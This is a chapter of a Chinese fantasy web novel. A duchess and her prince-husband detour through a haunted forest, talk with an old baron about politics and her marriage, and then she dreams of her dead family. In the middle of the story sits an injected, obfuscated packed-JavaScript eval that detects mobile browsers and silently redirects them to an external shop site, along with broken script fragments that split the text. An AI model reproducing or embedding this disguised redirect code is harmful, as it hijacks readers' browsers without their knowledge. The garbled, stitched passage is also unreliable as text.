19. 第十九章
    “前面发生了山体滑坡,把路堵住了。”骑士回来报告,“大人,恐怕我们得绕路了。”

    唔……这可不是一个好预兆。

    “下雪也会导致山体滑坡吗?”瑟洛里恩好奇道,寒风把他白皙的脸颊冻得发红,“我还以为只有春夏那种多雨的季节才会这样呢。”

    “反复融冻会导致土壤变得松散,雪堆本身的重量也是一种负担。”希瑟解释道,“不过,这种情况只在秋冬交替之际才会偶尔遇到。”

    “所以我们是一群不幸的倒霉蛋。”瑟洛里恩作出总结。

    “很直白的结论……但客观而言不算错。”她轻轻咳嗽一声,“哈康爵士,如果我们要绕道而行的话,最近的路是哪一条?”

    “如果走铁森林的话,应该能在天色完全黑下来之前抵达戴尔镇。”老骑士回答。

    铁森林……仅仅是听到这个名字都能让希瑟的心跳停止一拍。

    “哈!铁森林,决战之地!”瑟洛里恩兴致勃勃道,“我一直想亲眼目睹一下巨龙坟,你们觉得埃特尔会介意我取走它的一点鳞片和骨头做研究吗?”

    “您可千万不能靠近铁森林呀,殿下。”杰罗德——随行护卫中最年轻的骑士故意压低了声音,“自从毒龙葬身铁森林之后,那里就整日黑雾缭绕,住在附近的人都说那是毒龙的尸体散发出的瘴气。曾经有不少盗贼想要进到森林里盗取一些龙骨龙爪什么的,最后都下落不明了。”

    “别吓唬殿下了,杰罗德爵士,铁森林的雾气没有毒。”哈康摇了摇头,“话虽如此,人们会抱有怀疑也不奇怪,铁森林以前只在早上有雾,到中午就差不多散完了,不会像现在这样从早到晚不见天日。而且毒龙死后,铁森林里的动物也都绝迹了。”

    “也许那是埃特尔对人类的诅咒。”杰罗德骄傲地表示,“毕竟是公爵大人杀了它。”

    “为什么你的语气那么亢奋……难道被毒龙诅咒是什么好事吗?”

    “那当然!殿下,战士最大的荣耀就是敌人刻骨铭心的恨意!”

    瑟洛里恩耸了耸肩:“我个人还是更偏向‘战士的荣耀是身上的伤疤’这种说法……”

    “以前的确有一些盗贼和探险家死在铁森林里,但基本都是因为在森林里迷失了方向,最终饥寒交迫而亡的。”希瑟说,“不过,毒龙的尸体确实有可能污染森林里的土壤和水源,所以已经很久没有人靠近过巨龙坟了,只要不离那里太近,仅仅是穿过铁森林的边缘并不会有什么危险。”

    规划好路线之后,队伍便重新整顿出发。

    “那个姜黄头——呃,我是说杰罗德爵士,他的性格是不是有点太活泼了?”瑟洛里恩问道。

    “这或许就是年轻人吧。”希瑟笑了笑,“杰罗德爵士是达拉伯爵最小的儿子,今年不过十六岁,更不用说他一直是家族中的异类了。”

    “异类?”

    “达拉家族的祖上是……刽子手。尽管这已经是三代之前的事情了,但达拉家族内部一直保持着这种阴郁的基调,家族纹章也是渡鸦。”她答道,“大多数达拉氏的性格都偏向沉默寡言,唯独杰罗德爵士例外——刚才你也见到了,那孩子的性格很外放,总是充满活力。”

    “确实,比起渡鸦,更像是麻雀。”瑟洛里恩评价道。

    “虽然如此,但达拉伯爵一直很疼爱他。”否则依照达拉家族的情况,幼子理应会被送到修道院成为修士,而非送到凯洛家族成为公爵的侍童。外加毒龙劫过后的数年动荡,让许多年轻人得到了施展拳脚的机会,否则杰罗德不可能那么快就从侍童晋升为正式骑士。

    “可以理解。不管怎么说,有趣的家伙总是很难让人讨厌。”

    不仅如此……希瑟在心里回答,越是生活在死亡的笼罩之下,就越是渴望那些有着蓬勃生命力的存在,这是人的本性。

    “对了,今天的旅途可能会比预计中长不少。”希瑟叮嘱道,“如果感觉撑不下去的话,记得要跟我说。”

    “没事,我好得很。”可能是很少骑行出门的缘故,瑟洛里恩此时看起来神采奕奕,对周围的任何事物都充满了新鲜感——当然,等他的大腿因为骑马太久而磨伤红肿的时候,他对这趟旅程可能会有些不太一样的想法。

    冷杉树繁密的枝叶遮挡了阳光,道路昏暗,他们只好放缓了速度。马蹄踩过雪地和枯叶,发出嘎吱嘎吱的声响。人的吐息在空气中凝冻成霜,须臾便消散在了浓厚的灰雾中,好似一滴雨水掉进了墨水瓶。森林里的溪流尚未完全冻结,有几根枯枝浸泡在水里,露出水面的部分结满了白霜,在流水中央的碎石间形成了一条蜿蜒的白色小径。

    中途他们休息了两次,因为瑟洛里恩实在撑不住了。

    “我好像感觉不到我的屁股和腿了……”作为玩笑,他的表情有点太认真了,“它们还在那儿吗?”

    “当然。”希瑟回答。

    “真的吗?”

    “真的。”

    “可我感觉它们的存在很模糊……就好像它们丢下我跑了,因为不想继续骑马。”

    “你还能走路。”希瑟委婉地提醒。

    “腿的确还在。”瑟洛里恩拍了拍大腿,并且在不小心拍到磨伤的地方时吸了一口冷气,“但屁股是长在后面的,对吧?它完全有机会趁我不注意的时候偷偷溜走。”

    “你的屁股很好,瑟洛里恩,没有任何问题。”

    闻言,瑟洛里恩的面庞一瞬间红了起来:“呃……谢谢?”

    希瑟眨了眨眼睛,过了几秒才意识到自己方才究竟说了什么,这让她的脸也不禁发烫:“抱、抱歉……”

    “没、没关系……”他干巴巴地回答,“反正我们是夫妻,不是吗?不会有人笑话我们……”

    “嘿嘿~”

    瑟洛里恩翻了个白眼:“闭嘴,杰罗德爵士。”

    临近傍晚,他们终于抵达了戴尔镇,当地的执政官斯滕·奥尔森男爵热情地接待了他们。

    “好久不见了,公爵大人。”斯滕的目光在她和瑟洛里恩之间徘徊,“这一位想必就是亲王殿下。”

    对方的面容比她记忆中多了几道皱纹,两鬓也变得斑白——年轻时的伤病和岁月的流逝终究还是追上了他:“好久不见,斯滕大人。”

    “布丽①、吉尚和比约恩他们还好吗?”

    “布琳迪丝女士的身体依旧健朗,吉尚大人……坦诚说,我和他也有段时间未见了,比约恩最近得了第一个孙子。”

    “特里格维居然有孩子了吗?”斯滕有些讶异,“他确实是一个好小伙子,年轻力壮,勤勤恳恳,娶的姑娘也好,比约恩真是一条幸运的老狗……对了,胡尼最近怎么样了?”

    “他也很好,在自己的岗位如鱼得水。”

    对方哈哈大笑:“果然是这样,当初我就觉得那个年轻人沦落到伺候我的傻儿子实在太可惜了。”

    “说到这个……”希瑟扫视四周,“似乎没见到辛德雷?”

    “那臭小子打猎去了。”

    “现在可不是打猎的好季节。”

    “哼,他当然知道,只是不想待在家里对着我这张老脸罢了。”斯滕摆了摆手,“不等他,晚餐已经准备好了,可不能让两位贵客饿着肚子。”

    晚餐十分丰盛,斯滕还在用餐期间多次劝他们全部吃完——“最好连一点肉沫都别剩下,让那臭小子回来之后去吃发硬的干面包吧”,这是他的原话。

    用餐结束后,斯滕邀请她出去走一走,希瑟应允了。瑟洛里恩则先回了房间,以便考虑他今晚是不是应该趴着睡觉。

    “所以那份情报确定是真的?”他捻了捻胡须,“真不敢相信萨迦里人居然已经深入到了这里,看来那个伊瓦尔可比他父亲贪婪得多。”

    “年轻的国王总是大胆又野心十足。”

    “哼,如果他能被称作是‘国王’的话。”他冷笑一声,“伊瓦尔——‘荣耀捍卫者’,真是一个傲慢的名字。不过嘛,我还是不敢相信埃蒂安·马尔尚居然会和他们勾结。那个缩卵的软蛋,只要您横他一眼,他就尿裤子了,怎么可能有胆子跑去找萨迦里人?”

    在当年的正义者之矛中,埃蒂安·马尔尚是唯一没有任何作战经验的领主。“碎矛三连捷”之后,马尔尚家族也是第一个宣布投降的。

    虽然能避免战争对于当时满目疮痍的北境无疑是一件好事,但埃蒂安·马尔尚毫无骨气的表现仍令许多人感到不齿。

    “我也不希望见到这种情况,毕竟南斯特是北境的经济重心。”希瑟揉了揉太阳穴,“但不可否认的是,如今的南斯特有诸多可疑之处——这座城市足够富裕,假如马尔尚伯爵宁可冒着上绞刑架的风险也要铸造假银币,说明他有一些隐秘且难以推辞的高昂开支……您应该也很清楚,要长期赡养一支军队有多么昂贵。”

    “您怀疑他雇佣了萨迦里人?”

    “至少雇佣到了萨迦里人——马尔尚伯爵没有管理军队的经验,有些情况不一定出自他的主观意愿。”她答道,“然而,无论他是有意还是无意,这件事都该到此为止了。”

    “您去挫一挫他的锐气也好,那家伙自诩祖上是高贵的王都名门,总是摆出一副自己与众不同的派头,惹人讨厌。”斯滕说,“唉,不聊这些败兴的事情了。距离您的婚礼也过去半个月了,婚后生活还好吗?”

    “瑟洛里恩是一个不错的人。”

    “那位殿下长得倒是挺漂亮,就是看着瘦弱了一点。”对方摸摸下巴,“当然啦,他们南方人都是这样,不管长得高还是长得矮,看起来都细细瘦瘦,跟面条似的。好在上面细点儿也就罢了,下面不细就行。”

    听到他的话,希瑟顿时满脸通红,斯滕大笑着打趣她:“您已经二十啦,大人,而且是一个有家室的女人了,不能总是脸红得跟黄花闺女一样。英格丽陛下在您的年纪都已经生下太子了。”

    ……可这真的能算是好事吗?她心中犹疑。

    英格丽与阿利斯特的关系一直不和睦,自从生下西塞罗之后,两人就再无子嗣。她的姐姐年纪轻轻就过起了寡妇般无望的生活,远离家乡,无人依靠。

    埃达城沦陷之后,她更是想过割腕自杀,最后在孩子的苦苦哀求下才勉强放弃。可求死之心或许是一时的,对丈夫的憎恨却是永无止尽的——四年前,英格丽与她叙旧时不小心说漏了嘴。一想到她差点也失去了英格丽,希瑟就感到一阵后怕。

    好在北境恢复和平后,阿利斯特对待英格丽也不敢那么肆无忌惮了……然而,玛丽昂夫人腹中的孩子依然是一个隐患。

    更准确地说,阿利斯特本人依然是一个隐患——这位傲慢又冲动的国王陛下,恐怕很难意识到自己冲冠一怒为红颜的下场。当一个人对于自己所作所为的代价毫无概念时,就很难预料他到底会做出怎样荒唐的事情。

    “您的脸色似乎不太对劲。”斯滕的表情突然严肃起来,“难道那个叫瑟洛里恩的小子私下对您不好?”

    希瑟的确在为某些事情忧虑,但没想到对方会想得那么歪,连忙道:“你误会了,瑟洛里恩人很好,和他的其他兄弟截然不同。虽然我们作为伴侣不是特别般配,但相处久了之后……”

    “狗屎!”斯滕往地上吐了口唾沫,“哪个不长眼的家伙敢说这种话?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200279|149120||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “没有人这么说。”希瑟一向认为自己的交流能力还算不错,但现在她觉得自己越说越混乱了,“只是我偶尔会这么感觉……”

    “那也是狗屎,哪怕是您说的。”对方说,“您的父亲拉格纳娶了这世上最美丽的女神,难道有人认为他们不般配吗?”

    那当然,这么想的人还不少呢……希瑟在心里默默答道,否则先王就不会把这场赐婚当作是对母亲的报复了。

    “您是北境的主人,纳维亚人骄傲的战士,英勇的拉格纳之女,值得这个世界上最好的人。”说着,他莫名叹了口气,“我好像从未和您提起过……大人,您还记得最终之战前一晚的事情吗?”

    “当然。”毕竟她是决战的亲历者。

    “当时您执意独自前往。”斯滕回忆道,“没有人能够反对——说到底,那场战斗已经不是我们这样的普通人有资格参与的了,最终我只能与所有人一同目送您远去。在走进铁森林之前,您忽然勒住贝斯特拉,回头望了一眼,目光就像是越过营帐看向了很远的地方……当时我突然有种感觉,您仿佛知道自己不会再回来了。”

    希瑟没有回答。

    “好在诸神保佑,伟大的斯诺里没有急着召您去英灵殿。”他继续道,“接着,您重新收复了北境,赶走了入侵者,现在也和您的父母一样有了自己的家庭。大人——不,希瑟,孩子,既然命运三女神那时没有剪断你的线,也许就是想要告诉你,幸福的生活就在将来,希望你不要半途止步。”

    她勉力点了点头:“我明白。”

    可是她真的明白吗……?

    希瑟对此感到怀疑——尽管如此,她知道有些时候善意的谎言比真相更加重要。

    等她回到房间时,瑟洛里恩已经睡着了。

    床边的蜡烛还没有熄灭,对方多半是想等她回来以后再睡的,只是在等待期间太困倦了——这是值得体谅的,对于一个不常骑马出门的人来说,今天的旅途确实有点漫长。

    她脱下外衣,吹灭了蜡烛。

    不知是因为今天经过了铁森林,还是因为适才与斯滕的谈话,希瑟总感觉有一股沉重的情绪萦绕心头,然而她还是很快陷入了梦乡。

    梦中的埃达城燃起了熊熊烈火,天空乌云密布,电闪雷鸣,一闪而过的白光足以撕裂天际,并隐约照亮了黑雾深处的庞然大物。

    她在白盔堡里奔跑着,曾经熟悉的道路变得陌生且漫长。不知过了多久,她耗尽了力气,双脚如同灌铅一般沉重,远处被烧焦的哨塔和墓园令她几近落泪。她恍惚地来到了主堡前,试图推开大门,可是门扉纹丝不动。

    “来人啊!快来人啊!”她拼命地敲着门,“外面着火了,快让我进去!”

    “不,希瑟……”一个令人怀念的声音幽幽响起——是母亲,“这里没有人能给你开门。”

    火势不断蔓延,希瑟小声抽噎起来:“母亲,四周都是火……求您了,给我开门吧……”

    “希瑟啊希瑟,难道你忘了吗?”对方温柔地回答,“你一定忘记了重要的事情,对不对?”

    大火吞噬了道路两旁的槭树,橙红的火光照亮了灰色的台阶。她不知为何没有穿鞋,脚底的石板被火焰烧得滚烫。

    “母亲,我的脚好疼……谁来都好,不要把我关在外面……”她的双脚满是烫伤的燎泡和碎石的划伤,恐惧占据了她的心脏,“父亲,对不起,我再也不偷偷翘课了……我一定好好听老师的话,当一位淑女,求求您给我开门吧……”

    父亲的声音一如记忆中那般威严,与母亲温柔的语调截然不同,但他的回答和母亲一样:“不,希瑟,没有人能给你开门。”

    她继续用力拍门,随后又用指甲抠着门板。她的手掌破了皮,指甲流下了鲜血。她感到又累又疼,心中充满了绝望。白盔堡拒绝了她——她的家拒绝了她,这让她忍不住放声大哭。

    就在此时,第三个人的声音响起:“希瑟……”

    “西格德……?”刹那间,她忘记了疼痛,甚至忘记了附近还有大火燃烧,“西格德,我不想一个人待在这里,我需要你……”泪水划过了她的脸庞,“拜托了,让我进去吧……我好害怕……”

    “我们都救不了你,希瑟。”西格德回答,“难道你忘了吗?我们已经死了。”

    她的心跳骤停。

    “我们并不在这里。”父亲说。

    “我们只是你的幻想。”母亲说。

    龙焰点燃了她的裙摆——希瑟嗅到了毛发被烧焦的苦味,火舌正在舔舐她的皮肤。

    “所以,这是我的梦……”她喘着气,但不再哭泣,只是力竭地沿着大门跌坐下来,“只有我一个人,对吗?”

    “没错。”他们回答,“逝者已逝。”

    “那我可以在这里多待一会儿吗?”希瑟将脸贴在门上,感受着门板另一侧传来的动静,“我已经很久……很久没听到过你们的声音了。”

    “当然。”他们回答,“在火焰将一切燃烧殆尽之前。”

    “我很想念你们。”她喃喃道,“我最近过得还不错……虽然也不是那么好,但比以前好多了,所以你们不用为我担心……”

    这一次,他们没有回答,但希瑟想象着他们在门的另一侧面露微笑。

    “西格德……”

    “我在。”

    “很抱歉我没有去猎户小屋。”

    她从喉咙里尝到了灰烬的味道——火焰正在蚕食她的肺腑,所以她不确定自己有没有说出最后那句话,或者她说了出来,但对方没有听到……不过那些都无关紧要了。

    毕竟,逝者已逝。